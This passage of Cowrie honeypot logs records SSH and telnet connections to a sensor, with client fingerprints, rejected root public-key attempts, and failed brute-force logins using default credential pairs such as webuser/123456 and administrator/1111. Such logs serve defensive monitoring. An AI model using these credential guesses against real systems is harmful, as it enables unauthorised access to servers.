af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:35.800189Z","src_ip":"211.186.79.173","session":"23bfba0e5e0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"develop@123","message":"login attempt [develop/develop@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:36.058934Z","src_ip":"185.9.193.111","session":"622fa84aea11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"1111","message":"login attempt [administrator/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:36.549247Z","src_ip":"211.186.79.173","session":"23bfba0e5e0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.442687273025513,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:36.699080Z","src_ip":"163.179.13.89","session":"4a451951273f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:37.355367Z","src_ip":"185.9.193.111","session":"622fa84aea11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.60","src_port":56618,"dst_ip":"10.17.0.5","dst_port":22,"session":"23f8fee0629f","protocol":"ssh","message":"New connection: 198.98.55.60:56618 (10.17.0.5:22) [session: 23f8fee0629f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:37.399541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:37.411704Z","src_ip":"198.98.55.60","session":"23f8fee0629f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:37.424379Z","src_ip":"198.98.55.60","session":"23f8fee0629f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:fe:7a:e0:f1:da:6f:4c:a3:3d:c2:6f:5a:b0:13:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiDn0xdu6ELudlIJNkaqDq2bpnKjVPH012Ms5qnSeK9mtVDXW59p57pk6gARwmbwSveddfZlNQy8xPKtIf/ddIoUssfkcJSjO8BEOsqFuBySoZCm02EtAH9HvDPWuZmXWenR3rQpByc8I95PXogninCGmVriwiqTRJJMRjriZHKNdwowD4k8eZiPnm3vPS5veDkPgITyo+wXlGHSVaRLiSAbjGo5G3w4cPbxrNrE1++JBve+I12+UunFdhAXeOQ5jqPg5EzCoAViL4ETACwsSDhDMx9F9CCtsPop6zdeOQX1ia1YF+ZMCu8nPZe0BVPtDjbj80csltqNULKCfKObfX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:fe:7a:e0:f1:da:6f:4c:a3:3d:c2:6f:5a:b0:13:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:37.457170Z","src_ip":"198.98.55.60","session":"23f8fee0629f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:fe:7a:e0:f1:da:6f:4c:a3:3d:c2:6f:5a:b0:13:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiDn0xdu6ELudlIJNkaqDq2bpnKjVPH012Ms5qnSeK9mtVDXW59p57pk6gARwmbwSveddfZlNQy8xPKtIf/ddIoUssfkcJSjO8BEOsqFuBySoZCm02EtAH9HvDPWuZmXWenR3rQpByc8I95PXogninCGmVriwiqTRJJMRjriZHKNdwowD4k8eZiPnm3vPS5veDkPgITyo+wXlGHSVaRLiSAbjGo5G3w4cPbxrNrE1++JBve+I12+UunFdhAXeOQ5jqPg5EzCoAViL4ETACwsSDhDMx9F9CCtsPop6zdeOQX1ia1YF+ZMCu8nPZe0BVPtDjbj80csltqNULKCfKObfX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:37.460909Z","src_ip":"198.98.55.60","session":"23f8fee0629f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:8c:3f:73:90:94:a4:46:a6:44:2d:92:64:4a:3f:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2cg4DJ+Pqxik0Eyn5UL8K93ujRKubLR3hhpShwjPT2u303EtemmCUUd0lJhVolBpfvpMWgalTtxFOJkjfPID5FaJUX4LHwj+nlgcGHFxFODbi+0HWJWrvw/2kPAyhSqpcHR4tGHKxdGcWR25H4R3LU0i07m3Ypu9xtG17QSjybgIz1GN34qEXd5SiA1PYg6ARdyM4ODdsttwicos2W5O5xwKHO/cIyiy/V0z6rc1+noCunPRAdIEbNSdXtrsLTQfvz/u39F2Re5u5IXnDWIMKC36NjOmhqoXPK6aktNBm2B56lOroamm14qchVH/yYRJOSoKbJSSR8sGIxDU9lDmD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:8c:3f:73:90:94:a4:46:a6:44:2d:92:64:4a:3f:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:37.504375Z","src_ip":"198.98.55.60","session":"23f8fee0629f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:8c:3f:73:90:94:a4:46:a6:44:2d:92:64:4a:3f:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2cg4DJ+Pqxik0Eyn5UL8K93ujRKubLR3hhpShwjPT2u303EtemmCUUd0lJhVolBpfvpMWgalTtxFOJkjfPID5FaJUX4LHwj+nlgcGHFxFODbi+0HWJWrvw/2kPAyhSqpcHR4tGHKxdGcWR25H4R3LU0i07m3Ypu9xtG17QSjybgIz1GN34qEXd5SiA1PYg6ARdyM4ODdsttwicos2W5O5xwKHO/cIyiy/V0z6rc1+noCunPRAdIEbNSdXtrsLTQfvz/u39F2Re5u5IXnDWIMKC36NjOmhqoXPK6aktNBm2B56lOroamm14qchVH/yYRJOSoKbJSSR8sGIxDU9lDmD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:37.508533Z","src_ip":"198.98.55.60","session":"23f8fee0629f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:29:33:88:4a:d4:64:33:9f:af:f2:d2:bc:25:64:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDisO9STh2rFzFtZQ4Sxpf+XRjCgRjWvWMN3ld2k/2OXT3tt/c7jhQMbTb6aeUlPftaeNrNdV6sGVwo6boNH6zrvALZmhGfp/CNXLeQzbnlqDU9ri2SKLFYUUOqIOZrG5ZVrKRtF7G2IrPPd8EKMex9Lqbvf6iJqZzFghZu9dzsqyVmUndHksYzqCDN66kX4ygFftullCbAVsjZhemdhhEtZVCTAJF5mCdUVnDn7Qej5IBUqA6Sv2ia6qBE7z4lapR5Lht1WOYOq+AaGkgjDhnc1VvLM/fWGGUkSQRG1NxRbqqJER4p/GdhGsQFQrNfbbZFV8Pd3SIDTExgYBdIkaq9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:29:33:88:4a:d4:64:33:9f:af:f2:d2:bc:25:64:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:37.516929Z","src_ip":"198.98.55.60","session":"23f8fee0629f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:29:33:88:4a:d4:64:33:9f:af:f2:d2:bc:25:64:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDisO9STh2rFzFtZQ4Sxpf+XRjCgRjWvWMN3ld2k/2OXT3tt/c7jhQMbTb6aeUlPftaeNrNdV6sGVwo6boNH6zrvALZmhGfp/CNXLeQzbnlqDU9ri2SKLFYUUOqIOZrG5ZVrKRtF7G2IrPPd8EKMex9Lqbvf6iJqZzFghZu9dzsqyVmUndHksYzqCDN66kX4ygFftullCbAVsjZhemdhhEtZVCTAJF5mCdUVnDn7Qej5IBUqA6Sv2ia6qBE7z4lapR5Lht1WOYOq+AaGkgjDhnc1VvLM/fWGGUkSQRG1NxRbqqJER4p/GdhGsQFQrNfbbZFV8Pd3SIDTExgYBdIkaq9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:37.520056Z","src_ip":"198.98.55.60","session":"23f8fee0629f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:86:47:73:22:49:e3:0a:91:89:90:8d:95:59:4c:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6WWR5eueGp3N/Kab3eNW5fM77HTUmBSLIJ6556chk4wHoYsKfoyuoEu6Jf2A1iKVt8+SnJRJS6nurCj0BnCc7T3LesKNUAwp0MQ5aO2J8nm1BKZ9NvokVD5kN3AszLQ8Ml3qDGo/bb/gf7taa5ENtLf4SsTcTGbE6nUiIlS4agT/mSShglqWfF4KD0G5oQ0mqPQwItbNzrZX8CqlLwHINGlurXKPK5PV33K9cc788mv42t2iontse+YIOLESnzorKH47CsOXK7V7KnT309tu/FyHXYw12FmI1D/QaHV7DomoXDNcpYMApyvUHTc/nr2bPAUtzFppEbF4rRLoIBOjn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:86:47:73:22:49:e3:0a:91:89:90:8d:95:59:4c:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:37.527402Z","src_ip":"198.98.55.60","session":"23f8fee0629f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:86:47:73:22:49:e3:0a:91:89:90:8d:95:59:4c:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6WWR5eueGp3N/Kab3eNW5fM77HTUmBSLIJ6556chk4wHoYsKfoyuoEu6Jf2A1iKVt8+SnJRJS6nurCj0BnCc7T3LesKNUAwp0MQ5aO2J8nm1BKZ9NvokVD5kN3AszLQ8Ml3qDGo/bb/gf7taa5ENtLf4SsTcTGbE6nUiIlS4agT/mSShglqWfF4KD0G5oQ0mqPQwItbNzrZX8CqlLwHINGlurXKPK5PV33K9cc788mv42t2iontse+YIOLESnzorKH47CsOXK7V7KnT309tu/FyHXYw12FmI1D/QaHV7DomoXDNcpYMApyvUHTc/nr2bPAUtzFppEbF4rRLoIBOjn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:37.531685Z","src_ip":"198.98.55.60","session":"23f8fee0629f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:63:62:56:3b:04:fc:03:e8:79:fd:05:16:74:43:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBMNLZIgfPTRysvJT7fp0YfIOKfs/iQOWjKTuJQsUOXG4YL6wFzqgjW/8VljFvIbmnQUKJQZODh3/ICQaCCBpajV+2OcQ2W+dKYDU9SmgVXnNani6ABKAIBnLkm2niyuNOQ9+XYoIlnbKLsnCCAjpe3ulrTg9MvQtbfM2+BCvt9y+mYnDZ2kRGrjW2SrKHTM3hWcTHieZF2RwHZmkvSpOuMMKRaAhv5gVOK1alNkiJn2fN/6ryAtpx0cG2muSgBWkj5gsuR6D95pNK43NVqqX/FvGO9zwFGkHZJvHHoGHHXn1dbUoFy0PHZMAj75pe9wkNuqY89LNHrmnCLNCOF1wF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:63:62:56:3b:04:fc:03:e8:79:fd:05:16:74:43:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:37.543086Z","src_ip":"198.98.55.60","session":"23f8fee0629f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:63:62:56:3b:04:fc:03:e8:79:fd:05:16:74:43:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBMNLZIgfPTRysvJT7fp0YfIOKfs/iQOWjKTuJQsUOXG4YL6wFzqgjW/8VljFvIbmnQUKJQZODh3/ICQaCCBpajV+2OcQ2W+dKYDU9SmgVXnNani6ABKAIBnLkm2niyuNOQ9+XYoIlnbKLsnCCAjpe3ulrTg9MvQtbfM2+BCvt9y+mYnDZ2kRGrjW2SrKHTM3hWcTHieZF2RwHZmkvSpOuMMKRaAhv5gVOK1alNkiJn2fN/6ryAtpx0cG2muSgBWkj5gsuR6D95pNK43NVqqX/FvGO9zwFGkHZJvHHoGHHXn1dbUoFy0PHZMAj75pe9wkNuqY89LNHrmnCLNCOF1wF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:37.547014Z","src_ip":"198.98.55.60","session":"23f8fee0629f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:37.557304Z","src_ip":"198.98.55.60","session":"23f8fee0629f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:37.740093Z","src_ip":"211.186.79.173","session":"23bfba0e5e0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":54912,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee2ae68c065e","protocol":"telnet","message":"New connection: 45.63.78.87:54912 (10.17.0.5:23) [session: ee2ae68c065e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:08:56.316652Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":48896,"dst_ip":"159.203.135.109","dst_port":22,"session":"511355fbcbd2","protocol":"ssh","message":"New connection: 36.93.249.106:48896 (159.203.135.109:22) [session: 511355fbcbd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:09:11.236603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:09:11.241516Z","src_ip":"36.93.249.106","session":"511355fbcbd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:09:11.537209Z","src_ip":"36.93.249.106","session":"511355fbcbd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:09:12.697405Z","src_ip":"36.93.249.106","session":"511355fbcbd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:09:13.983214Z","src_ip":"36.93.249.106","session":"511355fbcbd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":40732,"dst_ip":"10.17.0.5","dst_port":22,"session":"14cefe97f94e","protocol":"ssh","message":"New connection: 187.212.47.18:40732 (10.17.0.5:22) [session: 14cefe97f94e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:09:26.250290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:09:26.255363Z","src_ip":"187.212.47.18","session":"14cefe97f94e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.501054525375366,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:09:27.817386Z","src_ip":"45.63.78.87","session":"ee2ae68c065e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:09:28.776198Z","src_ip":"187.212.47.18","session":"14cefe97f94e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe!@","message":"login attempt [ubuntu/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:09:29.107027Z","src_ip":"187.212.47.18","session":"14cefe97f94e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:09:30.185461Z","src_ip":"187.212.47.18","session":"14cefe97f94e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":34578,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ce200a3e9db","protocol":"telnet","message":"New connection: 45.63.78.87:34578 (10.17.0.5:23) [session: 5ce200a3e9db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:09:30.366498Z"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":48872,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ad9d3b710b3","protocol":"ssh","message":"New connection: 211.186.79.173:48872 (10.17.0.5:22) [session: 7ad9d3b710b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:09:53.627633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:09:53.633214Z","src_ip":"211.186.79.173","session":"7ad9d3b710b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:09:53.824770Z","src_ip":"211.186.79.173","session":"7ad9d3b710b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server1","message":"login attempt [server/server1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:09:54.611446Z","src_ip":"211.186.79.173","session":"7ad9d3b710b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:09:55.809793Z","src_ip":"211.186.79.173","session":"7ad9d3b710b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.3105731010437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:01.676960Z","src_ip":"45.63.78.87","session":"5ce200a3e9db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":40710,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc3774c8a2c2","protocol":"ssh","message":"New connection: 36.93.249.106:40710 (159.203.135.109:22) [session: bc3774c8a2c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:10:05.856045Z"}
